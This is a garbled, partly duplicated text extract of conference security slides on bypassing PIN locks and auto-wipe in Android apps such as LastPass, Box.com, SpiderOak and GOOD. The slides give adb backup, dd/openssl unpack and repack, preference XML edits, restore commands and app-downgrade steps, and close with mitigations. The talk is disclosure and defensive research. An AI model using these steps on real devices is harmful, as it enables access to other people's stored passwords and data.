Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 38: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
